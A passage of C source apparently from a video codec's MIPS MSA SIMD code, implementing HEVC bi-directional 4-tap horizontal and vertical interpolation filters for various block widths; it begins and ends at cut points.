dst3 = const_vec;
VSHF_B2_SB(src1, src1, src3, src3, mask0, mask0, vec0, vec1);
VSHF_B2_SB(src5, src5, src7, src7, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src1, src1, src3, src3, mask1, mask1, vec0, vec1);
VSHF_B2_SB(src5, src5, src7, src7, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
ST_D4(dst0, dst1, 0, 1, 0, 1, dst_tmp, dst_stride);
dst_tmp += (4 * dst_stride);
}
}
static void hevc_hz_bi_4t_32w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v16i8 src0, src1, src2;
v8i16 in0, in1, in2, in3;
v8i16 filt0, filt1;
v16i8 mask0 = LD_SB(&ff_hevc_mask_arr[0]);
v16i8 mask1, mask2, mask3;
v8i16 dst0, dst1, dst2, dst3;
v16i8 vec0, vec1, vec2, vec3;
v8i16 filter_vec, const_vec;
src0_ptr -= 1;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
mask1 = mask0 + 2;
mask2 = mask0 + 8;
mask3 = mask0 + 10;
for (loop_cnt = height; loop_cnt--;) {
LD_SB2(src0_ptr, 16, src0, src1);
src2 = LD_SB(src0_ptr + 24);
src0_ptr += src_stride;
LD_SH4(src1_ptr, 8, in0, in1, in2, in3);
src1_ptr += src2_stride;
XORI_B3_128_SB(src0, src1, src2);
dst0 = const_vec;
dst1 = const_vec;
dst2 = const_vec;
dst3 = const_vec;
VSHF_B2_SB(src0, src0, src0, src1, mask0, mask2, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask0, mask0, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt0, filt0, filt0, filt0, dst0,
dst1, dst2, dst3);
VSHF_B2_SB(src0, src0, src0, src1, mask1, mask3, vec0, vec1);
VSHF_B2_SB(src1, src1, src2, src2, mask1, mask1, vec2, vec3);
DPADD_SB4_SH(vec0, vec1, vec2, vec3, filt1, filt1, filt1, filt1, dst0,
dst1, dst2, dst3);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0, dst1, dst2, dst3, 7, dst0, dst1, dst2, dst3);
PCKEV_B2_SH(dst1, dst0, dst3, dst2, dst0, dst1);
ST_SH2(dst0, dst1, dst, 16);
dst += dst_stride;
}
}
static void hevc_vt_bi_4t_4x2_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
v16i8 src0, src1, src2, src3, src4;
v8i16 in0, in1;
v16i8 src10_r, src32_r, src21_r, src43_r, src2110, src4332;
v8i16 dst10;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
src2110 = (v16i8) __msa_ilvr_d((v2i64) src21_r, (v2i64) src10_r);
src2110 = (v16i8) __msa_xori_b((v16u8) src2110, 128);
LD_SB2(src0_ptr, src_stride, src3, src4);
LD_SH2(src1_ptr, src2_stride, in0, in1);
in0 = (v8i16) __msa_ilvr_d((v2i64) in1, (v2i64) in0);
ILVR_B2_SB(src3, src2, src4, src3, src32_r, src43_r);
src4332 = (v16i8) __msa_ilvr_d((v2i64) src43_r, (v2i64) src32_r);
src4332 = (v16i8) __msa_xori_b((v16u8) src4332, 128);
dst10 = const_vec;
DPADD_SB2_SH(src2110, src4332, filt0, filt1, dst10, dst10);
dst10 = __msa_adds_s_h(dst10, in0);
dst10 = __msa_srari_h(dst10, 7);
CLIP_SH_0_255(dst10);
dst10 = (v8i16) __msa_pckev_b((v16i8) dst10, (v16i8) dst10);
ST_W2(dst10, 0, 1, dst, dst_stride);
}
static void hevc_vt_bi_4t_4x4_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
v16i8 src0, src1, src2, src3, src4, src5, src6;
v8i16 in0, in1, in2, in3;
v16i8 src10_r, src32_r, src54_r, src21_r, src43_r, src65_r;
v16i8 src2110, src4332, src6554;
v8i16 dst10, dst32;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
src2110 = (v16i8) __msa_ilvr_d((v2i64) src21_r, (v2i64) src10_r);
src2110 = (v16i8) __msa_xori_b((v16u8) src2110, 128);
LD_SB4(src0_ptr, src_stride, src3, src4, src5, src6);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
ILVR_D2_SH(in1, in0, in3, in2, in0, in1);
ILVR_B4_SB(src3, src2, src4, src3, src5, src4, src6, src5,
src32_r, src43_r, src54_r, src65_r);
ILVR_D2_SB(src43_r, src32_r, src65_r, src54_r, src4332, src6554);
XORI_B2_128_SB(src4332, src6554);
dst10 = const_vec;
DPADD_SB2_SH(src2110, src4332, filt0, filt1, dst10, dst10);
dst32 = const_vec;
DPADD_SB2_SH(src4332, src6554, filt0, filt1, dst32, dst32);
HEVC_BI_RND_CLIP2(in0, in1, dst10, dst32, 7, dst10, dst32);
dst10 = (v8i16) __msa_pckev_b((v16i8) dst32, (v16i8) dst10);
ST_W4(dst10, 0, 1, 2, 3, dst, dst_stride);
}
static void hevc_vt_bi_4t_4x8multiple_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
int32_t loop_cnt;
v16i8 src0, src1, src2, src3, src4, src5;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v16i8 src6, src7, src8, src9;
v16i8 src10_r, src32_r, src54_r, src76_r, src98_r;
v16i8 src21_r, src43_r, src65_r, src87_r, src109_r;
v16i8 src2110, src4332, src6554, src8776;
v8i16 dst10, dst32, dst54, dst76;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
src2110 = (v16i8) __msa_ilvr_d((v2i64) src21_r, (v2i64) src10_r);
src2110 = (v16i8) __msa_xori_b((v16u8) src2110, 128);
for (loop_cnt = (height >> 3); loop_cnt--;) {
LD_SB6(src0_ptr, src_stride, src3, src4, src5, src6, src7, src8);
src0_ptr += (6 * src_stride);
LD_SH8(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5, in6, in7);
src1_ptr += (8 * src2_stride);
ILVR_D2_SH(in1, in0, in3, in2, in0, in1);
ILVR_D2_SH(in5, in4, in7, in6, in2, in3);
ILVR_B4_SB(src3, src2, src4, src3, src5, src4, src6, src5,
src32_r, src43_r, src54_r, src65_r);
ILVR_B2_SB(src7, src6, src8, src7, src76_r, src87_r);
ILVR_D3_SB(src43_r, src32_r, src65_r, src54_r, src87_r, src76_r,
src4332, src6554, src8776);
XORI_B3_128_SB(src4332, src6554, src8776);
dst10 = const_vec;
DPADD_SB2_SH(src2110, src4332, filt0, filt1, dst10, dst10);
dst32 = const_vec;
DPADD_SB2_SH(src4332, src6554, filt0, filt1, dst32, dst32);
dst54 = const_vec;
DPADD_SB2_SH(src6554, src8776, filt0, filt1, dst54, dst54);
LD_SB2(src0_ptr, src_stride, src9, src2);
src0_ptr += (2 * src_stride);
ILVR_B2_SB(src9, src8, src2, src9, src98_r, src109_r);
src2110 = (v16i8) __msa_ilvr_d((v2i64) src109_r, (v2i64) src98_r);
src2110 = (v16i8) __msa_xori_b((v16u8) src2110, 128);
dst76 = const_vec;
DPADD_SB2_SH(src8776, src2110, filt0, filt1, dst76, dst76);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst10, dst32, dst54, dst76, 7,
dst10, dst32, dst54, dst76);
PCKEV_B2_SH(dst32, dst10, dst76, dst54, dst10, dst54);
ST_W8(dst10, dst54, 0, 1, 2, 3, 0, 1, 2, 3, dst, dst_stride);
dst += (8 * dst_stride);
}
}
static void hevc_vt_bi_4t_4w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
if (2 == height) {
hevc_vt_bi_4t_4x2_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height);
} else if (4 == height) {
hevc_vt_bi_4t_4x4_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height);
} else {
hevc_vt_bi_4t_4x8multiple_msa(src0_ptr, src_stride,
src1_ptr, src2_stride,
dst, dst_stride, filter, height);
}
}
static void hevc_vt_bi_4t_6w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8, src9, src10;
v8i16 in0, in1, in2, in3;
v16i8 src10_r, src32_r, src21_r, src43_r, src54_r, src65_r;
v8i16 dst0_r, dst1_r, dst2_r, dst3_r;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
LD_SB2(src0_ptr, src_stride, src3, src4);
src0_ptr += (2 * src_stride);
LD_SB2(src0_ptr, src_stride, src5, src6);
src0_ptr += (2 * src_stride);
LD_SB2(src0_ptr, src_stride, src7, src8);
src0_ptr += (2 * src_stride);
LD_SB2(src0_ptr, src_stride, src9, src10);
src0_ptr += (2 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += (4 * src2_stride);
XORI_B3_128_SB(src0, src1, src2);
XORI_B2_128_SB(src3, src4);
XORI_B2_128_SB(src5, src6);
XORI_B2_128_SB(src7, src8);
XORI_B2_128_SB(src9, src10);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
ILVR_B2_SB(src3, src2, src4, src3, src32_r, src43_r);
dst0_r = const_vec;
DPADD_SB2_SH(src10_r, src32_r, filt0, filt1, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB2_SH(src21_r, src43_r, filt0, filt1, dst1_r, dst1_r);
ILVR_B2_SB(src5, src4, src6, src5, src54_r, src65_r);
dst2_r = const_vec;
DPADD_SB2_SH(src32_r, src54_r, filt0, filt1, dst2_r, dst2_r);
dst3_r = const_vec;
DPADD_SB2_SH(src43_r, src65_r, filt0, filt1, dst3_r, dst3_r);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst2_r, dst3_r, 7,
dst0_r, dst1_r, dst2_r, dst3_r);
PCKEV_B2_SH(dst1_r, dst0_r, dst3_r, dst2_r, dst0_r, dst1_r);
ST_W2(dst0_r, 0, 2, dst, dst_stride);
ST_H2(dst0_r, 2, 6, dst + 4, dst_stride);
ST_W2(dst1_r, 0, 2, dst + 2 * dst_stride, dst_stride);
ST_H2(dst1_r, 2, 6, dst + 2 * dst_stride + 4, dst_stride);
dst += (4 * dst_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += (4 * src2_stride);
ILVR_B2_SB(src7, src6, src8, src7, src32_r, src43_r);
dst0_r = const_vec;
DPADD_SB2_SH(src54_r, src32_r, filt0, filt1, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB2_SH(src65_r, src43_r, filt0, filt1, dst1_r, dst1_r);
ILVR_B2_SB(src9, src8, src10, src9, src54_r, src65_r);
dst2_r = const_vec;
DPADD_SB2_SH(src32_r, src54_r, filt0, filt1, dst2_r, dst2_r);
dst3_r = const_vec;
DPADD_SB2_SH(src43_r, src65_r, filt0, filt1, dst3_r, dst3_r);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst2_r, dst3_r, 7,
dst0_r, dst1_r, dst2_r, dst3_r);
PCKEV_B2_SH(dst1_r, dst0_r, dst3_r, dst2_r, dst0_r, dst1_r);
ST_W2(dst0_r, 0, 2, dst, dst_stride);
ST_H2(dst0_r, 2, 6, dst + 4, dst_stride);
ST_W2(dst1_r, 0, 2, dst + 2 * dst_stride, dst_stride);
ST_H2(dst1_r, 2, 6, dst + 2 * dst_stride + 4, dst_stride);
dst += (4 * dst_stride);
}
static void hevc_vt_bi_4t_8x2_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
v16i8 src0, src1, src2, src3, src4;
v8i16 in0, in1, dst0_r, dst1_r;
v16i8 src10_r, src32_r, src21_r, src43_r;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
LD_SB2(src0_ptr, src_stride, src3, src4);
LD_SH2(src1_ptr, src2_stride, in0, in1);
XORI_B2_128_SB(src3, src4);
ILVR_B2_SB(src3, src2, src4, src3, src32_r, src43_r);
dst0_r = const_vec;
DPADD_SB2_SH(src10_r, src32_r, filt0, filt1, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB2_SH(src21_r, src43_r, filt0, filt1, dst1_r, dst1_r);
HEVC_BI_RND_CLIP2(in0, in1, dst0_r, dst1_r, 7, dst0_r, dst1_r);
dst0_r = (v8i16) __msa_pckev_b((v16i8) dst1_r, (v16i8) dst0_r);
ST_D2(dst0_r, 0, 1, dst, dst_stride);
}
static void hevc_vt_bi_4t_8x6_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8;
v8i16 in0, in1, in2, in3, in4, in5;
v16i8 src10_r, src32_r, src54_r, src76_r;
v16i8 src21_r, src43_r, src65_r, src87_r;
v8i16 dst0_r, dst1_r, dst2_r, dst3_r, dst4_r, dst5_r;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
LD_SB6(src0_ptr, src_stride, src3, src4, src5, src6, src7, src8);
LD_SH6(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5);
XORI_B6_128_SB(src3, src4, src5, src6, src7, src8);
ILVR_B4_SB(src3, src2, src4, src3, src5, src4, src6, src5,
src32_r, src43_r, src54_r, src65_r);
ILVR_B2_SB(src7, src6, src8, src7, src76_r, src87_r);
dst0_r = const_vec;
DPADD_SB2_SH(src10_r, src32_r, filt0, filt1, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB2_SH(src21_r, src43_r, filt0, filt1, dst1_r, dst1_r);
dst2_r = const_vec;
DPADD_SB2_SH(src32_r, src54_r, filt0, filt1, dst2_r, dst2_r);
dst3_r = const_vec;
DPADD_SB2_SH(src43_r, src65_r, filt0, filt1, dst3_r, dst3_r);
dst4_r = const_vec;
DPADD_SB2_SH(src54_r, src76_r, filt0, filt1, dst4_r, dst4_r);
dst5_r = const_vec;
DPADD_SB2_SH(src65_r, src87_r, filt0, filt1, dst5_r, dst5_r);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst2_r, dst3_r, 7,
dst0_r, dst1_r, dst2_r, dst3_r);
HEVC_BI_RND_CLIP2(in4, in5, dst4_r, dst5_r, 7, dst4_r, dst5_r);
PCKEV_B2_SH(dst1_r, dst0_r, dst3_r, dst2_r, dst0_r, dst1_r);
dst2_r = (v8i16) __msa_pckev_b((v16i8) dst5_r, (v16i8) dst4_r);
ST_D4(dst0_r, dst1_r, 0, 1, 0, 1, dst, dst_stride);
ST_D2(dst2_r, 0, 1, dst + 4 * dst_stride, dst_stride);
}
static void hevc_vt_bi_4t_8x4multiple_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
int32_t loop_cnt;
v16i8 src0, src1, src2, src3, src4, src5;
v8i16 in0, in1, in2, in3;
v16i8 src10_r, src32_r, src21_r, src43_r;
v8i16 dst0_r, dst1_r, dst2_r, dst3_r;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB2(src0_ptr, src_stride, src3, src4);
src0_ptr += (2 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += (4 * src2_stride);
XORI_B2_128_SB(src3, src4);
ILVR_B2_SB(src3, src2, src4, src3, src32_r, src43_r);
dst0_r = const_vec;
DPADD_SB2_SH(src10_r, src32_r, filt0, filt1, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB2_SH(src21_r, src43_r, filt0, filt1, dst1_r, dst1_r);
LD_SB2(src0_ptr, src_stride, src5, src2);
src0_ptr += (2 * src_stride);
XORI_B2_128_SB(src5, src2);
ILVR_B2_SB(src5, src4, src2, src5, src10_r, src21_r);
dst2_r = const_vec;
DPADD_SB2_SH(src32_r, src10_r, filt0, filt1, dst2_r, dst2_r);
dst3_r = const_vec;
DPADD_SB2_SH(src43_r, src21_r, filt0, filt1, dst3_r, dst3_r);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst2_r, dst3_r, 7,
dst0_r, dst1_r, dst2_r, dst3_r);
PCKEV_B2_SH(dst1_r, dst0_r, dst3_r, dst2_r, dst0_r, dst1_r);
ST_D4(dst0_r, dst1_r, 0, 1, 0, 1, dst, dst_stride);
dst += (4 * dst_stride);
}
}
static void hevc_vt_bi_4t_8w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
if (2 == height) {
hevc_vt_bi_4t_8x2_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height);
} else if (6 == height) {
hevc_vt_bi_4t_8x6_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height);
} else {
hevc_vt_bi_4t_8x4multiple_msa(src0_ptr, src_stride,
src1_ptr, src2_stride,
dst, dst_stride, filter, height);
}
}
static void hevc_vt_bi_4t_12w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
int32_t loop_cnt;
v16i8 src0, src1, src2, src3, src4, src5, src6;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v16i8 src10_r, src32_r, src21_r, src43_r, src54_r, src65_r;
v8i16 dst0_r, dst1_r, dst2_r, dst3_r;
v16i8 src10_l, src32_l, src54_l, src21_l, src43_l, src65_l;
v16i8 src2110, src4332, src6554;
v8i16 dst0_l, dst1_l, filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= (1 * src_stride);
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
ILVL_B2_SB(src1, src0, src2, src1, src10_l, src21_l);
src2110 = (v16i8) __msa_ilvr_d((v2i64) src21_l, (v2i64) src10_l);
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB2(src0_ptr, src_stride, src3, src4);
src0_ptr += (2 * src_stride);
LD_SB2(src0_ptr, src_stride, src5, src6);
src0_ptr += (2 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
LD_SH4((src1_ptr + 8), src2_stride, in4, in5, in6, in7);
src1_ptr += (4 * src2_stride);
ILVR_D2_SH(in5, in4, in7, in6, in4, in5);
XORI_B2_128_SB(src3, src4);
XORI_B2_128_SB(src5, src6);
ILVR_B2_SB(src3, src2, src4, src3, src32_r, src43_r);
ILVL_B2_SB(src3, src2, src4, src3, src32_l, src43_l);
src4332 = (v16i8) __msa_ilvr_d((v2i64) src43_l, (v2i64) src32_l);
ILVR_B2_SB(src5, src4, src6, src5, src54_r, src65_r);
ILVL_B2_SB(src5, src4, src6, src5, src54_l, src65_l);
src6554 = (v16i8) __msa_ilvr_d((v2i64) src65_l, (v2i64) src54_l);
dst0_r = const_vec;
DPADD_SB2_SH(src10_r, src32_r, filt0, filt1, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB2_SH(src21_r, src43_r, filt0, filt1, dst1_r, dst1_r);
dst0_l = const_vec;
DPADD_SB2_SH(src2110, src4332, filt0, filt1, dst0_l, dst0_l);
dst2_r = const_vec;
DPADD_SB2_SH(src32_r, src54_r, filt0, filt1, dst2_r, dst2_r);
dst3_r = const_vec;
DPADD_SB2_SH(src43_r, src65_r, filt0, filt1, dst3_r, dst3_r);
dst1_l = const_vec;
DPADD_SB2_SH(src4332, src6554, filt0, filt1, dst1_l, dst1_l);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst2_r, dst3_r, 7,
dst0_r, dst1_r, dst2_r, dst3_r);
HEVC_BI_RND_CLIP2(in4, in5, dst0_l, dst1_l, 7, dst0_l, dst1_l);
PCKEV_B2_SH(dst1_r, dst0_r, dst3_r, dst2_r, dst0_r, dst1_r);
dst0_l = (v8i16) __msa_pckev_b((v16i8) dst1_l, (v16i8) dst0_l);
ST_D4(dst0_r, dst1_r, 0, 1, 0, 1, dst, dst_stride);
ST_W4(dst0_l, 0, 1, 2, 3, dst + 8, dst_stride);
dst += (4 * dst_stride);
src2 = src6;
src10_r = src54_r;
src21_r = src65_r;
src2110 = src6554;
}
}
static void hevc_vt_bi_4t_16w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
int32_t loop_cnt;
v16i8 src0, src1, src2, src3, src4, src5;
v8i16 in0, in1, in2, in3;
v16i8 src10_r, src32_r, src21_r, src43_r;
v16i8 src10_l, src32_l, src21_l, src43_l;
v8i16 dst0_r, dst1_r, dst0_l, dst1_l;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
ILVL_B2_SB(src1, src0, src2, src1, src10_l, src21_l);
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB2(src0_ptr, src_stride, src3, src4);
src0_ptr += (2 * src_stride);
LD_SH2(src1_ptr, src2_stride, in0, in1);
LD_SH2((src1_ptr + 8), src2_stride, in2, in3);
src1_ptr += (2 * src2_stride);
XORI_B2_128_SB(src3, src4);
ILVR_B2_SB(src3, src2, src4, src3, src32_r, src43_r);
ILVL_B2_SB(src3, src2, src4, src3, src32_l, src43_l);
dst0_r = const_vec;
DPADD_SB2_SH(src10_r, src32_r, filt0, filt1, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB2_SH(src21_r, src43_r, filt0, filt1, dst1_r, dst1_r);
dst0_l = const_vec;
DPADD_SB2_SH(src10_l, src32_l, filt0, filt1, dst0_l, dst0_l);
dst1_l = const_vec;
DPADD_SB2_SH(src21_l, src43_l, filt0, filt1, dst1_l, dst1_l);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst0_l, dst1_l, 7,
dst0_r, dst1_r, dst0_l, dst1_l);
PCKEV_B2_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst0_r, dst1_r);
ST_SH2(dst0_r, dst1_r, dst, dst_stride);
dst += (2 * dst_stride);
LD_SB2(src0_ptr, src_stride, src5, src2);
src0_ptr += (2 * src_stride);
LD_SH2(src1_ptr, src2_stride, in0, in1);
LD_SH2((src1_ptr + 8), src2_stride, in2, in3);
src1_ptr += (2 * src2_stride);
XORI_B2_128_SB(src5, src2);
ILVR_B2_SB(src5, src4, src2, src5, src10_r, src21_r);
ILVL_B2_SB(src5, src4, src2, src5, src10_l, src21_l);
dst0_r = const_vec;
DPADD_SB2_SH(src32_r, src10_r, filt0, filt1, dst0_r, dst0_r);
dst0_l = const_vec;
DPADD_SB2_SH(src32_l, src10_l, filt0, filt1, dst0_l, dst0_l);
dst1_r = const_vec;
DPADD_SB2_SH(src43_r, src21_r, filt0, filt1, dst1_r, dst1_r);
dst1_l = const_vec;
DPADD_SB2_SH(src43_l, src21_l, filt0, filt1, dst1_l, dst1_l);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst0_l, dst1_l, 7,
dst0_r, dst1_r, dst0_l, dst1_l);
PCKEV_B2_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst0_r, dst1_r);
ST_SH2(dst0_r, dst1_r, dst, dst_stride);
dst += (2 * dst_stride);
}
}
static void hevc_vt_bi_4t_24w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
uint32_t loop_cnt;
v16i8 src0, src1, src2, src3, src4, src5;
v16i8 src6, src7, src8, src9, src10, src11;
v8i16 in0, in1, in2, in3, in4, in5;
v16i8 src10_r, src32_r, src76_r, src98_r;
v16i8 src21_r, src43_r, src87_r, src109_r;
v16i8 src10_l, src32_l, src21_l, src43_l;
v8i16 dst0_r, dst1_r, dst2_r, dst3_r;
v8i16 dst0_l, dst1_l;
v8i16 filt0, filt1;
v8i16 filter_vec, const_vec;
src0_ptr -= src_stride;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
/* 16width */
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
XORI_B3_128_SB(src0, src1, src2);
ILVR_B2_SB(src1, src0, src2, src1, src10_r, src21_r);
ILVL_B2_SB(src1, src0, src2, src1, src10_l, src21_l);
/* 8width */
LD_SB3(src0_ptr + 16, src_stride, src6, src7, src8);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src6, src7, src8);
ILVR_B2_SB(src7, src6, src8, src7, src76_r, src87_r);
for (loop_cnt = (height >> 2); loop_cnt--;) {
/* 16width */
LD_SB2(src0_ptr, src_stride, src3, src4);
LD_SH2(src1_ptr, src2_stride, in0, in1);
LD_SH2((src1_ptr + 8), src2_stride, in2, in3);
LD_SH2((src1_ptr + 16), src2_stride, in4, in5);
src1_ptr += (2 * src2_stride);
XORI_B2_128_SB(src3, src4);
